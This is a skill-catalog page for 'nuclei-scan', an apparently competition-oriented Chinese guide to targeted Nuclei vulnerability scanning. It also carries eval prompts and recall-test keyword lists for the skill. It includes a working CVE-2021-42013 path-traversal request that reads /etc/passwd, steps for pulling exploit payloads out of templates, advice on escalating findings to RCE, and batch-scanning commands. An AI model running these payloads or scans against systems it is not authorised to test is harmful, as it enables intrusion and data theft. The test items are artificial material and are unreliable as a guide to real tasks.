
Nuclei Scan
- 34 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with ai & agent building tasks during AI-assisted development.
About
nuclei-scan is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.
- nuclei-scan
- AI & Agent Building
- AI-coding skill
Nuclei Scan by the numbers
- 34 all-time installs (skills.sh)
- +4 installs in the week ending Jul 27, 2026 (Skillselion tracking)
- Ranked #8,822 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill nuclei-scanAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 34 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with ai & agent building tasks during AI-assisted development.
Files
Nuclei 漏洞扫描方法论
Nuclei 是 ProjectDiscovery 开源的基于模板的漏洞扫描器。它的核心价值:社区维护的模板库,每个模板都是经过验证的 PoC,比自己构造 payload 更可靠。
扫描策略
Nuclei 有 9000+ 模板,不加限制的全量扫描(nuclei -u target)需要 10-30 分钟——在比赛中这是致命的时间浪费。通过 -t(指定模板目录)或 -tags(指定标签)缩小范围,通常几十秒内就能完成精准扫描。
另外,Nuclei 的模板匹配并非 100% 准确,关键漏洞发现后应手动复现确认,避免在误报上浪费时间。
Phase 1: 精准扫描(推荐)
根据指纹识别结果选择对应模板,而非全量扫描:
# 1. 按模板 ID / CVE 编号精确扫描(最快,秒级)
nuclei -u http://target -id CVE-2021-44228
# 2. 按产品名过滤(几十秒)
nuclei -u http://target -t cves/ -tags apache
nuclei -u http://target -t cves/ -tags tomcat
nuclei -u http://target -t cves/ -tags wordpress
# 3. 只扫高危 CVE(1-3 分钟)
nuclei -u http://target -t cves/ -severity critical,high
# 4. 按漏洞类型扫描
nuclei -u http://target -t vulnerabilities/ -tags rce
nuclei -u http://target -t vulnerabilities/ -tags sqli
nuclei -u http://target -t vulnerabilities/ -tags lfi常用模板目录
| 目录 | 内容 | 适用场景 |
|---|---|---|
cves/ | 已知 CVE PoC | Zone 2 CVE 验证 |
vulnerabilities/ | 通用漏洞检测 | Web 深度测试 |
misconfiguration/ | 配置错误 | 云安全、服务加固 |
default-logins/ | 默认口令 | 中间件管理后台 |
exposures/ | 敏感信息泄露 | 信息收集阶段 |
takeovers/ | 子域名接管 | 域名资产攻击 |
Phase 2: 模板搜索与提取 Payload
当需要手动利用(nuclei 直接扫不出来、需要定制 payload)时,从模板中提取关键信息:
# 搜索本地模板库
find ~/nuclei-templates/ -name "*CVE-2021-42013*" 2>/dev/null
find ~/nuclei-templates/ -name "*apache*" -path "*/cves/*" 2>/dev/null
find ~/nuclei-templates/ -name "*log4j*" 2>/dev/null
# 按关键词在模板内容中搜索
grep -rl "apache 2.4.49" ~/nuclei-templates/http/cves/ 2>/dev/null
grep -rl "tomcat.*rce" ~/nuclei-templates/http/cves/ 2>/dev/null
# 读取模板提取 payload
cat ~/nuclei-templates/http/cves/2021/CVE-2021-42013.yaml模板关键字段解读
# 模板结构示例
id: CVE-2021-42013
info:
name: Apache HTTP Server Path Traversal
severity: critical # ← 漏洞等级
description: ... # ← 漏洞描述和利用条件
http:
- raw: # ← 原始 HTTP 请求(可直接提取用于 curl)
- |
GET /cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: {{Hostname}}
matchers: # ← 成功判定条件
- type: regex
regex:
- "root:.*:0:0:"
extractors: # ← 提取的数据(如版本号、密钥)
- type: regex
regex:
- "root:.*"从模板提取 payload 用于手动利用:
# 从 raw 字段提取请求路径和方法
cat template.yaml | grep -A5 "raw:"
# 转换为 curl 命令
curl -s "http://target/cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd"
# 如果模板有 POST body
curl -s -X POST http://target/api -d '{"payload": "..."}'Phase 3: 批量目标扫描
当有多个目标时:
# 从文件读取目标列表
echo "http://target1" > targets.txt
echo "http://target2" >> targets.txt
nuclei -l targets.txt -t cves/ -severity critical,high
# 配合 httpx 管道
cat urls.txt | httpx -silent | nuclei -t cves/ -severity critical,highPhase 4: 结果分析与验证
Nuclei 输出格式:
[CVE-2021-42013] [http] [critical] http://target/cgi-bin/.%2e/...
[CVE-2022-26134] [http] [critical] http://target/wiki/%24%7B...%7D必须手动验证关键发现: 1. 复现 nuclei 报告的请求,确认不是误报 2. 检查利用条件是否满足(如 mod_cgi 是否启用) 3. 尝试从信息泄露升级到 RCE
常用标签速查
| 标签 | 说明 | 示例 |
|---|---|---|
cve | 所有 CVE | -tags cve |
rce | 远程代码执行 | -tags rce |
sqli | SQL 注入 | -tags sqli |
lfi | 本地文件包含 | -tags lfi |
ssrf | SSRF | -tags ssrf |
xss | XSS | -tags xss |
default-login | 默认口令 | -tags default-login |
exposure | 信息泄露 | -tags exposure |
apache | Apache 相关 | -tags apache |
tomcat | Tomcat 相关 | -tags tomcat |
wordpress | WordPress | -tags wordpress |
jenkins | Jenkins | -tags jenkins |
spring | Spring 框架 | -tags spring |
性能优化参数
# 控制并发(默认 25,目标少时可降低避免被 ban)
nuclei -u http://target -t cves/ -c 10
# 限制速率
nuclei -u http://target -t cves/ -rl 50 # 每秒 50 请求
# 超时设置
nuclei -u http://target -t cves/ -timeout 10
# 只输出发现的漏洞(静默模式)
nuclei -u http://target -t cves/ -silent
# 输出到文件(JSON 格式便于分析)
nuclei -u http://target -t cves/ -json -o results.json{
"skill_name": "nuclei-scan",
"evals": [
{
"id": 1,
"name": "cve-targeted-scan",
"prompt": "指纹识别发现目标是 Apache/2.4.49,我想验证是否存在 CVE-2021-41773 路径遍历漏洞。应该怎么用 nuclei 扫?",
"expected_output": "使用 nuclei -u http://target -t cves/ -tags CVE-2021-41773 精确扫描",
"expectations": [
"nuclei -u",
"-t cves/|-tags CVE-2021-41773|CVE-2021-42013",
"精确扫描|指定模板|缩小范围"
]
},
{
"id": 2,
"name": "extract-payload-from-template",
"prompt": "nuclei 扫描报告 CVE-2022-26134 存在但我需要手动利用来获取 RCE。怎么从 nuclei 模板里提取可用的 payload?",
"expected_output": "find 搜索模板文件 → cat 读取模板 → 从 raw 字段提取 HTTP 请求 → 转换为 curl 命令",
"expectations": [
"find.*nuclei-templates|grep.*nuclei-templates",
"cat.*yaml|读取模板",
"raw|请求|payload|提取",
"curl|http_request|手动"
]
},
{
"id": 3,
"name": "bulk-scan-time-constrained",
"prompt": "比赛中我有 5 个目标 URL,时间紧迫只有 3 分钟,怎么用 nuclei 最高效地发现高危漏洞?",
"expected_output": "批量目标写入文件 + 只扫 critical/high + 限制模板范围",
"expectations": [
"-l targets|-l .*txt|批量|文件",
"-severity critical,high|高危",
"-t cves/|缩小范围|不要全量"
]
}
]
}
{
"skill_id": "nuclei-scan",
"recall_tests": [
{
"id": 1,
"type": "keyword_positive",
"description": "nuclei 直接关键词",
"keywords": ["nuclei", "nuclei扫描", "nuclei scan"]
},
{
"id": 2,
"type": "keyword_positive",
"description": "CVE 批量扫描场景",
"keywords": ["CVE扫描", "漏洞扫描", "POC扫描", "批量CVE"]
},
{
"id": 3,
"type": "keyword_positive",
"description": "模板相关搜索",
"keywords": ["nuclei模板", "nuclei template", "漏洞模板"]
},
{
"id": 4,
"type": "keyword_negative",
"description": "不应触发的场景",
"keywords": ["nmap扫描", "端口扫描", "子域名枚举", "目录爆破"]
}
]
}